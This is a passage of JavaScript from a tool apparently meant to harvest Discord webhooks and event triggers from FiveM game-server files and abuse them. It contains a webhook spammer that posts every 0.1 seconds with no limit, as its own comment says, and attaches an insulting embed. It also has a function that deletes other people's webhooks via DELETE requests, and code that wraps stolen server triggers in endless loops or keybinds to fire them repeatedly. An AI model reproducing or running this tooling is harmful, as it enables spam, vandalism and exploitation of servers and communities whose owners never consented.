${url.substring(0, 30)}...`, 'info'); // Clear cache for this webhook to force fresh test webhookStatusCache.delete(url); // Use the same validation logic as status validation const status = await validateWebhookStatus(url); if (status === 'Active') { showNotification(`✅ Webhook test successful! Message sent to Discord.`, 'success'); return true; } else { showNotification(`❌ Webhook test failed: Webhook appears to be inactive`, 'error'); return false; } } catch (error) { console.error('Error testing webhook:', error); showNotification(`❌ Webhook test failed: ${error.message}`, 'error'); return false; } } // Cache for webhook validation results const webhookStatusCache = new Map(); // Function to validate webhook status without notifications async function validateWebhookStatus(url) { try { // Check cache first if (webhookStatusCache.has(url)) { return webhookStatusCache.get(url); } // Validate webhook URL format if (!url.startsWith('https://discord.com/api/webhooks/') && !url.startsWith('https://canary.discord.com/api/webhooks/') && !url.startsWith('https://discordapp.com/api/webhooks/')) { webhookStatusCache.set(url, 'Invalid'); return 'Invalid'; } // Extract webhook ID and token for validation const urlParts = url.split('/'); const webhookId = urlParts[urlParts.length - 2]; const webhookToken = urlParts[urlParts.length - 1]; if (!webhookId || !webhookToken) { webhookStatusCache.set(url, 'Invalid'); return 'Invalid'; } // Send a minimal test to verify webhook works const testPayload = { content: "🔗 Test - " + new Date().toLocaleTimeString(), username: "Finder" }; const response = await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(testPayload) }); const status = response.ok ? 'Active' : 'Invalid'; webhookStatusCache.set(url, status); return status; } catch (error) { console.error('Error validating webhook status:', error); webhookStatusCache.set(url, 'Invalid'); return 'Invalid'; } } function openWebhookPreview(webhookUrl, resourceName, fileName, lineNumber) { try { // Find the webhook in scan results to get file information const webhook = appState.scanResults.webhooks.find(w => w.url === webhookUrl); if (webhook && webhook.file) { // Use the existing file preview functionality openTriggerPreview(resourceName || 'unknown', webhook.file, webhook.line || 1); } else { // Create a custom webhook preview modal const previewModal = document.createElement('div'); previewModal.className = 'file-viewer-modal'; previewModal.style.zIndex = '10000'; const overlay = document.createElement('div'); overlay.className = 'file-viewer-overlay'; const window = document.createElement('div'); window.className = 'file-viewer-window'; window.innerHTML = `
Webhook Preview: ${webhookUrl.substring(0, 50)}...
Webhook URL: ${webhookUrl}
Resource: ${resourceName || 'unknown'}
File: ${webhook?.file || fileName || 'unknown'}
Line: ${webhook?.line || lineNumber || 'unknown'}

Webhook Information:
- URL: ${webhookUrl}
- Resource: ${resourceName || 'unknown'}
- Status: ${webhook?.status || 'Active'}
- Type: Discord Webhook
- File: ${webhook?.file || fileName || 'unknown'}
- Line: ${webhook?.line || lineNumber || 'unknown'}

This webhook was discovered during the file scan process.
`; previewModal.appendChild(overlay); previewModal.appendChild(window); document.body.appendChild(previewModal); // Close functionality const closeBtn = window.querySelector('#close-preview'); const closePreview = () => { document.body.removeChild(previewModal); }; closeBtn.addEventListener('click', closePreview); overlay.addEventListener('click', closePreview); // Close on escape key const handleEscape = (e) => { if (e.key === 'Escape') { closePreview(); document.removeEventListener('keydown', handleEscape); } }; document.addEventListener('keydown', handleEscape); showNotification(`Opening webhook preview: ${webhookUrl.substring(0, 30)}...`, 'info'); } } catch (error) { console.error('Error opening webhook preview:', error); showNotification('Error opening webhook preview', 'error'); } } function copyItemName(name) { try { // Try modern clipboard API first if (navigator.clipboard && window.isSecureContext) { navigator.clipboard.writeText(name); showNotification('Item name copied to clipboard', 'success'); } else { // Fallback for older browsers or non-secure contexts const textArea = document.createElement('textarea'); textArea.value = name; textArea.style.position = 'fixed'; textArea.style.left = '-999999px'; textArea.style.top = '-999999px'; document.body.appendChild(textArea); textArea.focus(); textArea.select(); try { document.execCommand('copy'); showNotification('Item name copied to clipboard', 'success'); } catch (err) { showNotification('Please copy manually: ' + name, 'warning'); } document.body.removeChild(textArea); } } catch (error) { console.error('Error copying item name:', error); showNotification('Error copying item name', 'error'); } } function viewItem(name) { showNotification(`Viewing item: ${name}`, 'info'); } function transferItemToEditor(itemName, resourceName) { try { // Switch to editor tab switchTab('editor'); // Set the resource name const resourceInput = document.getElementById('resource-name'); if (resourceInput) { resourceInput.value = resourceName || 'unknown'; } // Set the editor content with item information const editorTextarea = document.getElementById('editor-textarea'); if (editorTextarea) { editorTextarea.value = `-- Item: ${itemName}\n-- Resource: ${resourceName || 'unknown'}\n-- Generated by Finder\n\n-- Add your item-related code here`; } showNotification(`Transferred item ${itemName} to editor`, 'success'); } catch (error) { console.error('Error transferring item to editor:', error); showNotification('Error transferring item to editor', 'error'); } } function openItemPreview(itemName, resourceName) { try { // Find the item in scan results to get file information const item = appState.scanResults.items.find(item => item.name === itemName); if (item && item.file) { // Use the existing file preview functionality openTriggerPreview(resourceName || 'unknown', item.file, item.line || 1); } else { // Create a simple preview modal for item info const previewModal = document.createElement('div'); previewModal.className = 'file-viewer-modal'; previewModal.style.zIndex = '10000'; const overlay = document.createElement('div'); overlay.className = 'file-viewer-overlay'; const window = document.createElement('div'); window.className = 'file-viewer-window'; window.innerHTML = `
Item Preview: ${itemName}
Item Name: ${itemName}
Resource: ${resourceName || 'unknown'}
File: ${item?.file || 'unknown'}
Line: ${item?.line || 'unknown'}

Item Information:
- Name: ${itemName}
- Label: ${item?.label || 'No label'}
- Type: Item
- Status: Found in scan

This item was discovered during the file scan process.
`; previewModal.appendChild(overlay); previewModal.appendChild(window); document.body.appendChild(previewModal); // Close functionality const closeBtn = window.querySelector('#close-preview'); const closePreview = () => { document.body.removeChild(previewModal); }; closeBtn.addEventListener('click', closePreview); overlay.addEventListener('click', closePreview); // Close on escape key const handleEscape = (e) => { if (e.key === 'Escape') { closePreview(); document.removeEventListener('keydown', handleEscape); } }; document.addEventListener('keydown', handleEscape); showNotification(`Opening item preview: ${itemName}`, 'info'); } } catch (error) { console.error('Error opening item preview:', error); showNotification('Error opening item preview', 'error'); } } function saveItem(itemName, resourceName) { try { // Create a unique ID for the saved item const itemId = `item_${Date.now()}_${Math.random().toString(36).substr(2, 9)}`; // Create the saved item object const savedItem = { id: itemId, name: itemName, resource: resourceName || 'unknown', type: 'item', savedAt: new Date().toISOString(), originalData: { name: itemName, resource: resourceName || 'unknown' } }; // Add to saved items (we'll use the savedTriggers array for now) appState.savedTriggers.push(savedItem); // Save to localStorage saveTriggersToLocalStorage(); // Update the saved triggers list updateSavedTriggersList(); // Update stats updateStats(); showNotification(`Saved item: ${itemName}`, 'success'); } catch (error) { console.error('Error saving item:', error); showNotification('Error saving item', 'error'); } } function copyCoordinates(coordinates) { try { // Try modern clipboard API first if (navigator.clipboard && window.isSecureContext) { navigator.clipboard.writeText(coordinates); showNotification('Coordinates copied to clipboard', 'success'); } else { // Fallback for older browsers or non-secure contexts const textArea = document.createElement('textarea'); textArea.value = coordinates; textArea.style.position = 'fixed'; textArea.style.left = '-999999px'; textArea.style.top = '-999999px'; document.body.appendChild(textArea); textArea.focus(); textArea.select(); try { document.execCommand('copy'); showNotification('Coordinates copied to clipboard', 'success'); } catch (err) { showNotification('Please copy manually: ' + coordinates, 'warning'); } document.body.removeChild(textArea); } } catch (error) { console.error('Error copying coordinates:', error); showNotification('Error copying coordinates', 'error'); } } function copyCoordinatesValues(x, y, z, w = null) { try { const values = w !== null ? `${x}, ${y}, ${z}, ${w}` : `${x}, ${y}, ${z}`; navigator.clipboard.writeText(values); showNotification('Coordinate values copied to clipboard', 'success'); } catch (error) { console.error('Error copying coordinate values:', error); showNotification('Error copying coordinate values', 'error'); } } function viewCoordinates(resource, file, line) { try { // Switch to the resource explorer tab or focus on it const resourceExplorer = document.querySelector('.resource-explorer'); if (resourceExplorer) { // Scroll to resource explorer resourceExplorer.scrollIntoView({ behavior: 'smooth' }); // Try to find and expand the folder containing the file navigateToFileInExplorer(file, resource); showNotification(`Navigating to ${file} in resource explorer`, 'success'); } else { showNotification(`Viewing coordinates: ${resource} in ${file}:${line}`, 'info'); } } catch (error) { console.error('Error navigating to coordinates file:', error); showNotification(`Viewing coordinates: ${resource} in ${file}:${line}`, 'info'); } } function handleCoordinateSearch(event) { const searchTerm = event.target.value.toLowerCase(); const typeFilter = document.getElementById('coordinate-type-filter')?.value || 'all'; let filteredCoordinates = appState.scanResults.coordinates.filter(coord => { const matchesSearch = coord.resource.toLowerCase().includes(searchTerm) || coord.coordinates.toLowerCase().includes(searchTerm) || coord.type.toLowerCase().includes(searchTerm) || (coord.nearItem && coord.nearItem.toLowerCase().includes(searchTerm)); const matchesType = typeFilter === 'all' || coord.type === typeFilter; return matchesSearch && matchesType; }); updateCoordinatesTable(filteredCoordinates); } function handleCoordinateTypeFilter(event) { const typeFilter = event.target.value; const searchTerm = document.getElementById('coordinate-search')?.value.toLowerCase() || ''; let filteredCoordinates = appState.scanResults.coordinates.filter(coord => { const matchesSearch = coord.resource.toLowerCase().includes(searchTerm) || coord.coordinates.toLowerCase().includes(searchTerm) || coord.type.toLowerCase().includes(searchTerm) || (coord.nearItem && coord.nearItem.toLowerCase().includes(searchTerm)); const matchesType = typeFilter === 'all' || coord.type === typeFilter; return matchesSearch && matchesType; }); updateCoordinatesTable(filteredCoordinates); } function updateSavedTriggersList() { try { const container = document.getElementById('saved-triggers-list'); if (!container) return; container.innerHTML = ''; if (appState.savedTriggers.length === 0) { container.innerHTML = '

No saved triggers yet

'; return; } appState.savedTriggers.forEach(trigger => { const triggerElement = document.createElement('div'); triggerElement.className = 'saved-trigger-item'; triggerElement.style.cssText = ` background: rgba(255, 255, 255, 0.05); padding: 15px; margin-bottom: 10px; border-radius: 6px; border: 1px solid rgba(255, 255, 255, 0.1); `; triggerElement.innerHTML = `

${trigger.resource}

${trigger.risk.toUpperCase()}

Usage: ${trigger.usage}

`; container.appendChild(triggerElement); }); } catch (error) { console.error('Error updating saved triggers list:', error); } } function deleteSavedTrigger(id) { try { appState.savedTriggers = appState.savedTriggers.filter(trigger => trigger.id !== id); saveTriggersToLocalStorage(); updateSavedTriggersList(); updateStats(); showNotification('Saved trigger deleted', 'success'); } catch (error) { console.error('Error deleting saved trigger:', error); showNotification('Error deleting saved trigger', 'error'); } } function clearResults() { try { // Clear triggers table const triggersTbody = document.getElementById('triggers-tbody'); if (triggersTbody) { triggersTbody.innerHTML = ''; } // Clear webhooks table const webhooksTbody = document.getElementById('webhooks-tbody'); if (webhooksTbody) { webhooksTbody.innerHTML = ''; } // Clear items table const itemsTbody = document.getElementById('items-tbody'); if (itemsTbody) { itemsTbody.innerHTML = ''; } // Clear coordinates table const coordinatesTbody = document.getElementById('coordinates-tbody'); if (coordinatesTbody) { coordinatesTbody.innerHTML = ''; } // Clear resource explorer const resourceTree = document.getElementById('resource-tree'); if (resourceTree) { resourceTree.innerHTML = `
Select a server directory to explore
`; } // Clear all scan results data appState.scanResults = { triggers: [], webhooks: [], items: [], coordinates: [], anticheats: [], files: 0 }; // Clear selected files appState.selectedFiles = []; appState.serverDirectory = ''; // Clear server directory input const serverDirectoryInput = document.getElementById('server-directory-input'); if (serverDirectoryInput) { serverDirectoryInput.value = ''; } // Clear search input const searchInput = document.getElementById('search-input'); if (searchInput) { searchInput.value = ''; } // Clear resource search input const resourceSearchInput = document.getElementById('resource-search-input'); if (resourceSearchInput) { resourceSearchInput.value = ''; } // Clear coordinate search and filter const coordinateSearch = document.getElementById('coordinate-search'); if (coordinateSearch) { coordinateSearch.value = ''; } const coordinateTypeFilter = document.getElementById('coordinate-type-filter'); if (coordinateTypeFilter) { coordinateTypeFilter.value = 'all'; } // Update all tables to show empty state updateTriggersTable([]); updateWebhooksTable([]); updateItemsTable([]); updateCoordinatesTable([]); // Update stats updateStats(); showNotification('All results cleared', 'success'); } catch (error) { console.error('Error clearing results:', error); showNotification('Error clearing results', 'error'); } } function handleSearch(event) { const searchTerm = event.target.value.toLowerCase(); const currentTab = appState.currentTab; if (currentTab === 'triggers') { // Filter triggers based on search term const filteredTriggers = appState.scanResults.triggers.filter(trigger => trigger.resource.toLowerCase().includes(searchTerm) || trigger.usage.toLowerCase().includes(searchTerm) ); updateTriggersTable(filteredTriggers); } else if (currentTab === 'items') { // Filter items based on search term const filteredItems = appState.scanResults.items.filter(item => item.name.toLowerCase().includes(searchTerm) || item.label.toLowerCase().includes(searchTerm) || item.resource.toLowerCase().includes(searchTerm) ); updateItemsTable(filteredItems); } else if (currentTab === 'webhooks') { // Filter webhooks based on search term const filteredWebhooks = appState.scanResults.webhooks.filter(webhook => webhook.resource.toLowerCase().includes(searchTerm) || webhook.url.toLowerCase().includes(searchTerm) ); updateWebhooksTable(filteredWebhooks); } else if (currentTab === 'coordinates') { // Filter coordinates based on search term const filteredCoordinates = appState.scanResults.coordinates.filter(coord => coord.resource.toLowerCase().includes(searchTerm) || coord.coordinates.toLowerCase().includes(searchTerm) || coord.type.toLowerCase().includes(searchTerm) || (coord.nearItem && coord.nearItem.toLowerCase().includes(searchTerm)) ); updateCoordinatesTable(filteredCoordinates); } } function updateStats() { try { const knownCount = appState.knownTriggers.length; const savedCount = appState.savedTriggers.length; const itemsCount = appState.scanResults.items.length; const webhooksCount = appState.scanResults.webhooks.length + appState.manualWebhooks.length; const triggersCount = appState.scanResults.triggers.length; const coordinatesCount = appState.scanResults.coordinates.length; const filesCount = appState.scanResults.files || 0; const knownElement = document.getElementById('known-count'); const triggersElement = document.getElementById('triggers-count'); const itemsElement = document.getElementById('items-count'); const webhooksElement = document.getElementById('webhooks-count'); const filesElement = document.getElementById('files-count'); if (knownElement) knownElement.textContent = `${knownCount} Known`; if (triggersElement) triggersElement.textContent = `${triggersCount} Triggers`; if (itemsElement) itemsElement.textContent = `${itemsCount} Items`; if (webhooksElement) webhooksElement.textContent = `${webhooksCount} Webhooks`; if (filesElement) filesElement.textContent = `${filesCount} Files`; } catch (error) { console.error('Error updating stats:', error); } } function handleActionButton(action) { try { switch (action) { case 'Browse': browseServerDirectory(); break; case 'Deep Scan': performDeepScan(); break; case 'Clear Results': clearResults(); break; } } catch (error) { console.error('Error handling action button:', error); } } // Webhook Spammer Functions async function sendWebhookOnce() { try { if (appState.selectedWebhooks.length === 0) { showNotification('Please select at least one webhook in the Webhooks tab or add manual webhooks', 'error'); return; } const username = document.getElementById('override-username')?.value || ''; const message = document.getElementById('message-content')?.value || ''; const avatarUrl = document.getElementById('avatar-url')?.value || ''; const tts = document.getElementById('tts-checkbox')?.checked || false; const embed = document.getElementById('embed-checkbox')?.checked || false; if (!message.trim()) { showNotification('Please enter a message', 'error'); return; } showNotification(`Sending webhook to ${appState.selectedWebhooks.length} webhook(s)...`, 'info'); // Prepare webhook payload const payload = { username: username || 'legre.dev', content: message, tts: tts }; if (avatarUrl) { payload.avatar_url = avatarUrl; } if (embed) { payload.embeds = [{ title: 'WEBHOOKED!', description: 'discord.gg/webhooked fuck codeplug', color: 0x667eea, timestamp: new Date().toISOString() }]; } // Send to all selected webhooks let successCount = 0; let errorCount = 0; for (const webhookUrl of appState.selectedWebhooks) { try { const response = await fetch(webhookUrl, { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(payload) }); if (response.ok) { successCount++; } else { errorCount++; console.error(`Failed to send webhook to ${webhookUrl}: ${response.status}`); } } catch (error) { errorCount++; console.error(`Error sending webhook to ${webhookUrl}:`, error); } } if (successCount > 0) { showNotification(`Successfully sent to ${successCount} webhook(s)${errorCount > 0 ? `, ${errorCount} failed` : ''}`, 'success'); } else { showNotification(`Failed to send to any webhooks (${errorCount} errors)`, 'error'); } } catch (error) { console.error('Error sending webhook:', error); showNotification('Error sending webhook', 'error'); } } function clearWebhookForm() { try { document.getElementById('override-username').value = ''; document.getElementById('avatar-url').value = ''; document.getElementById('message-content').value = ''; document.getElementById('tts-checkbox').checked = false; document.getElementById('embed-checkbox').checked = false; updatePreview(); showNotification('Form cleared', 'success'); } catch (error) { console.error('Error clearing form:', error); } } async function startWebhookSpam() { try { if (appState.selectedWebhooks.length === 0) { showNotification('Please select at least one webhook in the Webhooks tab or add manual webhooks', 'error'); return; } const message = document.getElementById('message-content')?.value || ''; const username = document.getElementById('override-username')?.value || ''; const avatarUrl = document.getElementById('avatar-url')?.value || ''; const tts = document.getElementById('tts-checkbox')?.checked || false; const embed = document.getElementById('embed-checkbox')?.checked || false; if (!message.trim()) { showNotification('Please enter a message', 'error'); return; } appState.isSpamming = true; const startBtn = document.querySelector('.start-spam-btn'); const stopBtn = document.querySelector('.stop-spam-btn'); startBtn.disabled = true; stopBtn.disabled = false; let spamCount = 0; // Prepare webhook payload const payload = { username: username || 'CodeFinder', content: message, tts: tts }; if (avatarUrl) { payload.avatar_url = avatarUrl; } if (embed) { payload.embeds = [{ title: 'WEBHOOKED!', description: 'discord.gg/webhooked fuck codeplug', color: 0x667eea, timestamp: new Date().toISOString() }]; } appState.spamInterval = setInterval(async () => { if (!appState.isSpamming) return; spamCount++; let successCount = 0; let errorCount = 0; // Send to all selected webhooks for (const webhookUrl of appState.selectedWebhooks) { try { const response = await fetch(webhookUrl, { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(payload) }); if (response.ok) { successCount++; } else { errorCount++; } } catch (error) { errorCount++; } } showNotification(`Spam ${spamCount}: Sent to ${successCount} webhook(s)${errorCount > 0 ? `, ${errorCount} failed` : ''}`, 'info'); // Removed safety limit - will spam indefinitely until manually stopped }, 100); // Send every 0.1 seconds (10x faster) showNotification(`Started webhook spam to ${appState.selectedWebhooks.length} webhook(s)`, 'success'); } catch (error) { console.error('Error starting webhook spam:', error); showNotification('Error starting webhook spam', 'error'); } } function stopWebhookSpam() { try { if (appState.spamInterval) { clearInterval(appState.spamInterval); appState.spamInterval = null; } appState.isSpamming = false; const startBtn = document.querySelector('.start-spam-btn'); const stopBtn = document.querySelector('.stop-spam-btn'); startBtn.disabled = false; stopBtn.disabled = true; showNotification('Stopped webhook spam', 'success'); } catch (error) { console.error('Error stopping webhook spam:', error); } } function updatePreview() { try { const messageText = document.getElementById('message-content').value || 'Your message here...'; const username = document.getElementById('override-username').value || 'WEBHOOKED'; const embedCheckbox = document.getElementById('embed-checkbox'); const messageTextElement = document.querySelector('.message-text'); const messageUsernameElement = document.querySelector('.message-username'); const messageEmbedElement = document.querySelector('.message-embed'); if (messageTextElement) { messageTextElement.textContent = messageText; } if (messageUsernameElement) { messageUsernameElement.textContent = username; } if (messageEmbedElement && embedCheckbox) { messageEmbedElement.style.display = embedCheckbox.checked ? 'block' : 'none'; } } catch (error) { console.error('Error updating preview:', error); } } function loadSampleData() { // Load some sample data for demonstration updateSavedTriggersList(); updateStats(); } function showNotification(message, type = 'info') { try { const notification = document.createElement('div'); notification.style.cssText = ` position: fixed; top: 20px; right: 20px; padding: 15px 20px; border-radius: 6px; color: white; font-size: 14px; z-index: 1000; max-width: 300px; word-wrap: break-word; animation: slideIn 0.3s ease; `; switch (type) { case 'success': notification.style.background = '#27ae60'; break; case 'error': notification.style.background = '#e74c3c'; break; case 'warning': notification.style.background = '#f39c12'; break; default: notification.style.background = '#667eea'; } notification.textContent = message; document.body.appendChild(notification); setTimeout(() => { notification.style.animation = 'slideOut 0.3s ease'; setTimeout(() => { if (notification.parentNode) { notification.parentNode.removeChild(notification); } }, 300); }, 3000); } catch (error) { console.error('Error showing notification:', error); } } // Utility function for debouncing function debounce(func, wait) { let timeout; return function executedFunction(...args) { const later = () => { clearTimeout(timeout); func(...args); }; clearTimeout(timeout); timeout = setTimeout(later, wait); }; } // Add CSS animations for notifications const style = document.createElement('style'); style.textContent = ` @keyframes slideIn { from { transform: translateX(100%); opacity: 0; } to { transform: translateX(0); opacity: 1; } } @keyframes slideOut { from { transform: translateX(0); opacity: 1; } to { transform: translateX(100%); opacity: 0; } } `; document.head.appendChild(style); function addManualWebhook() { try { const input = document.getElementById('manual-webhook-url'); const url = input.value.trim(); if (!url) { showNotification('Please enter a webhook URL', 'error'); return; } // Validate webhook URL if (!url.includes('discord.com/api/webhooks/') && !url.includes('discordapp.com/api/webhooks/')) { showNotification('Please enter a valid Discord webhook URL', 'error'); return; } // Check if webhook already exists if (appState.manualWebhooks.includes(url) || appState.selectedWebhooks.includes(url)) { showNotification('This webhook is already added', 'warning'); return; } // Add to manual webhooks appState.manualWebhooks.push(url); updateSpammerSelectedWebhooks(); input.value = ''; showNotification('Webhook added successfully', 'success'); } catch (error) { console.error('Error adding manual webhook:', error); showNotification('Error adding webhook', 'error'); } } function updateManualWebhooksList() { try { const container = document.getElementById('manual-webhooks-list'); if (!container) return; container.innerHTML = ''; // Show manual webhooks that are in selected webhooks const manualWebhooks = appState.selectedWebhooks.filter(url => !appState.scanResults.webhooks.some(webhook => webhook.url === url) ); if (manualWebhooks.length === 0) { container.innerHTML = '

No manual webhooks added

'; return; } manualWebhooks.forEach(url => { const webhookItem = document.createElement('div'); webhookItem.className = 'manual-webhook-item'; webhookItem.innerHTML = ` ${url} `; container.appendChild(webhookItem); }); } catch (error) { console.error('Error updating manual webhooks list:', error); } } function updateSelectedWebhooksList() { try { const container = document.getElementById('selected-webhooks-list'); if (!container) return; container.innerHTML = ''; if (appState.selectedWebhooks.length === 0) { container.innerHTML = '

No webhooks selected

'; return; } appState.selectedWebhooks.forEach((url, index) => { const webhookItem = document.createElement('div'); webhookItem.className = 'selected-webhook-item'; // Check if this is a manual webhook const isManual = appState.manualWebhooks.includes(url); const sourceText = isManual ? ' (Manual)' : ' (Scanned)'; webhookItem.innerHTML = ` ${url}${sourceText}
`; container.appendChild(webhookItem); }); } catch (error) { console.error('Error updating selected webhooks list:', error); } } // Function to actually delete a webhook from Discord async function deleteWebhook(url) { try { if (!confirm('Are you sure you want to DELETE this webhook? This action cannot be undone!')) { return; } showNotification('Deleting webhook...', 'info'); const response = await fetch(url, { method: 'DELETE', headers: { 'Content-Type': 'application/json' } }); if (response.ok) { showNotification('Webhook DELETED successfully!', 'success'); // Remove from selected webhooks appState.selectedWebhooks = appState.selectedWebhooks.filter(webhookUrl => webhookUrl !== url); updateSelectedWebhooksList(); updateManualWebhooksList(); updateSpammerSelectedWebhooks(); } else { const errorText = await response.text(); showNotification(`Failed to delete webhook: ${response.status} - ${errorText}`, 'error'); } } catch (error) { console.error('Error deleting webhook:', error); showNotification('Error deleting webhook: ' + error.message, 'error'); } } function removeDuplicateTriggers(triggers) { try { const seen = new Set(); return triggers.filter(trigger => { const key = `${trigger.resource}-${trigger.usage}-${trigger.file}-${trigger.line}`; if (seen.has(key)) { return false; } seen.add(key); return true; }); } catch (error) { console.error('Error removing duplicate triggers:', error); return triggers; } } function removeDuplicateWebhooks(webhooks) { try { const seen = new Set(); return webhooks.filter(webhook => { const key = `${webhook.resource}-${webhook.url}-${webhook.file}-${webhook.line}`; if (seen.has(key)) { return false; } seen.add(key); return true; }); } catch (error) { console.error('Error removing duplicate webhooks:', error); return webhooks; } } function removeDuplicateItems(items) { try { const seen = new Set(); return items.filter(item => { const key = `${item.resource}-${item.name}-${item.file}-${item.line}`; if (seen.has(key)) { return false; } seen.add(key); return true; }); } catch (error) { console.error('Error removing duplicate items:', error); return items; } } function removeDuplicateCoordinates(coordinates) { try { const seen = new Set(); return coordinates.filter(coord => { const key = `${coord.resource}-${coord.x}-${coord.y}-${coord.z}-${coord.file}-${coord.line}`; if (seen.has(key)) { return false; } seen.add(key); return true; }); } catch (error) { console.error('Error removing duplicate coordinates:', error); return coordinates; } } function attachImagesToItems(items, itemImages) { try { return items.map(item => { const imageUrl = itemImages.get(item.name.toLowerCase()); if (imageUrl) { item.imageUrl = imageUrl; } return item; }); } catch (error) { console.error('Error attaching images to items:', error); return items; } } function handleResourceSearch(event) { try { const searchTerm = event.target.value.toLowerCase().trim(); const resourceTree = document.getElementById('resource-tree'); if (!resourceTree || !appState.selectedFiles || appState.selectedFiles.length === 0) { return; } if (searchTerm === '') { // If search is empty, show all files updateResourceExplorer(appState.selectedFiles); return; } // Filter files based on search term const filteredFiles = appState.selectedFiles.filter(file => { const fileName = file.name.toLowerCase(); const filePath = file.webkitRelativePath.toLowerCase(); return fileName.includes(searchTerm) || filePath.includes(searchTerm); }); // Update the resource explorer with filtered results updateResourceExplorer(filteredFiles, searchTerm); } catch (error) { console.error('Error handling resource search:', error); } } function handleLoopTrigger() { try { const resourceName = document.getElementById('editor-resource-name').value.trim() || 'resource'; const loopDelay = document.getElementById('editor-loop-delay').value.trim() || '1000'; const triggerText = document.getElementById('editor-trigger-text').value.trim(); console.log('Loop Trigger Debug:', { resourceName, loopDelay, triggerText }); if (!triggerText) { showNotification('Please paste a trigger in the editor area', 'error'); return; } // Transform the trigger into a loop const transformedTrigger = transformTriggerToLoop(triggerText, resourceName, loopDelay); console.log('Transformed Loop Trigger:', transformedTrigger); // Update the editor textarea with the transformed code document.getElementById('editor-trigger-text').value = transformedTrigger; showNotification(`Trigger transformed into loop for ${resourceName} with ${loopDelay}ms delay`, 'success'); } catch (error) { console.error('Error transforming trigger to loop:', error); showNotification('Error transforming trigger to loop: ' + error.message, 'error'); } } function handleKeybindTrigger() { try { const resourceName = document.getElementById('editor-resource-name').value.trim() || 'resource'; const keybind = document.getElementById('editor-keybind').value.trim(); const triggerText = document.getElementById('editor-trigger-text').value.trim(); console.log('Keybind Trigger Debug:', { resourceName, keybind, triggerText }); if (!keybind) { showNotification('Please enter a keybind', 'error'); return; } if (!triggerText) { showNotification('Please paste a trigger in the editor area', 'error'); return; } // Transform the trigger into a keybind const transformedTrigger = transformTriggerToKeybind(triggerText, resourceName, keybind); console.log('Transformed Keybind Trigger:', transformedTrigger); // Update the editor textarea with the transformed code document.getElementById('editor-trigger-text').value = transformedTrigger; showNotification(`Trigger transformed into keybind for ${resourceName} with key ${keybind.toUpperCase()}`, 'success'); } catch (error) { console.error('Error transforming trigger to keybind:', error); showNotification('Error transforming trigger to keybind: ' + error.message, 'error'); } } function transformTriggerToLoop(triggerText, resourceName, delay) { try { console.log('Starting loop transformation with:', { triggerText, resourceName, delay }); // Parse and transform the trigger let transformedTrigger = triggerText; // Remove any existing Citizen.CreateThread or while loops transformedTrigger = transformedTrigger.replace(/Citizen\.CreateThread\s*\(\s*function\s*\(\s*\)\s*\{[\s\S]*?\}\s*\)\s*;?\s*$/g, ''); transformedTrigger = transformedTrigger.replace(/while\s+true\s+do[\s\S]*?end/g, ''); transformedTrigger = transformedTrigger.replace(/Citizen\.Wait\s*\(\s*\d+\s*\)\s*;?\s*$/g, ''); // Clean up the trigger text transformedTrigger = transformedTrigger.trim(); console.log('Cleaned trigger text:', transformedTrigger); // Split into lines and clean each line const lines = transformedTrigger.split('\n'); const cleanedLines = lines.map(line => line.trim()).filter(line => line.length > 0); console.log('Cleaned lines:', cleanedLines); // If no lines after cleaning, use the original text if (cleanedLines.length === 0) { cleanedLines.push(triggerText.trim()); } // Create the loop structure const loopCode = `-- Loop Trigger for ${resourceName} -- Delay: ${delay}ms Citizen.CreateThread(function() while true do ${cleanedLines.join('\n ')} Citizen.Wait(${delay}) end end)`; console.log('Generated loop code:', loopCode); return loopCode; } catch (error) { console.error('Error transforming trigger to loop:', error); return `-- Error transforming trigger to loop -- Error: ${error.message} -- Original trigger: ${triggerText} -- Please check your trigger syntax`; } } function transformTriggerToKeybind(triggerText, resourceName, keybind) { try { console.log('Starting keybind transformation with:', { triggerText, resourceName, keybind }); // Parse and transform the trigger let transformedTrigger = triggerText; // Remove any existing Citizen.CreateThread or keybind structures transformedTrigger = transformedTrigger.replace(/Citizen\.CreateThread\s*\(\s*function\s*\(\s*\)\s*\{[\s\S]*?\}\s*\)\s*;?\s*$/g, ''); transformedTrigger = transformedTrigger.replace(/while\s+true\s+do[\s\S]*?end/g, ''); transformedTrigger = transformedTrigger.replace(/if\s+IsControlJustPressed\s*\(\s*0\s*,\s*\d+\s*\)\s+then[\s\S]*?end/g, ''); transformedTrigger = transformedTrigger.replace(/Citizen\.Wait\s*\(\s*0\s*\)\s*;?\s*$/g, ''); // Clean up the trigger text transformedTrigger = transformedTrigger.trim(); console.log('Cleaned trigger text:', transformedTrigger); // Split into lines and clean each line const lines = transformedTrigger.split('\n'); const cleanedLines = lines.map(line => line.trim()).filter(line => line.length > 0); console.log('Cleaned lines:', cleanedLines); // If no lines after cleaning, use the original text if (cleanedLines.length === 0) { cleanedLines.push(triggerText.trim()); } // Get the key code const keyCode = getKeyCode(keybind); console.log('Key code for', keybind, ':', keyCode); // Create the keybind structure const keybindCode = `-- Keybind Trigger for ${resourceName} -- Key: ${keybind.toUpperCase()} (Code: ${keyCode}) Citizen.CreateThread(function() while true do Citizen.Wait(0) if IsControlJustPressed(0, ${keyCode}) then ${cleanedLines.join('\n ')} end end end)`; console.log('Generated keybind code:', keybindCode); return keybindCode; } catch (error) { console.error('Error transforming trigger to keybind:', error); return `-- Error transforming trigger to keybind -- Error: ${error.message} -- Original trigger: ${triggerText} -- Please check your trigger syntax`; } } function getKeyCode(key) { // Common FiveM key codes const keyCodes = { 'E': '38', 'F': '23', 'G': '47', 'H': '74', 'I': '73', 'J': '74', 'K': '311', 'L': '182', 'M': '244', 'N': '249', 'O': '199', 'P': '199', 'Q': '44', 'R': '45', 'S': '33', 'T': '245', 'U': '303', 'V': '47', 'W': '32', 'X': '73', 'Y': '246', 'Z': '20', '1': '157', '2': '158', '3': '160', '4': '164', '5': '165', '6': '159', '7': '161', '8': '162', '9': '163', '0': '164', 'ENTER': '191', 'SPACE': '22', 'SHIFT': '21', 'CTRL': '36', 'ALT': '19', 'TAB': '37', 'ESC': '322', 'BACKSPACE': '194', 'DELETE': '178', 'INSERT': '121', 'HOME': '212', 'END': '213', 'PAGEUP': '10', 'PAGEDOWN': '11', 'ARROWUP': '172', 'ARROWDOWN': '173', 'ARROWLEFT': '174', 'ARROWRIGHT': '175' }; const upperKey = key.toUpperCase(); return keyCodes[upperKey] || '38'; // Default to E if key not found } // Test function for Editor - you can call this in browser console function testEditor() { console.log('Testing Editor functionality...'); // Test loop trigger const 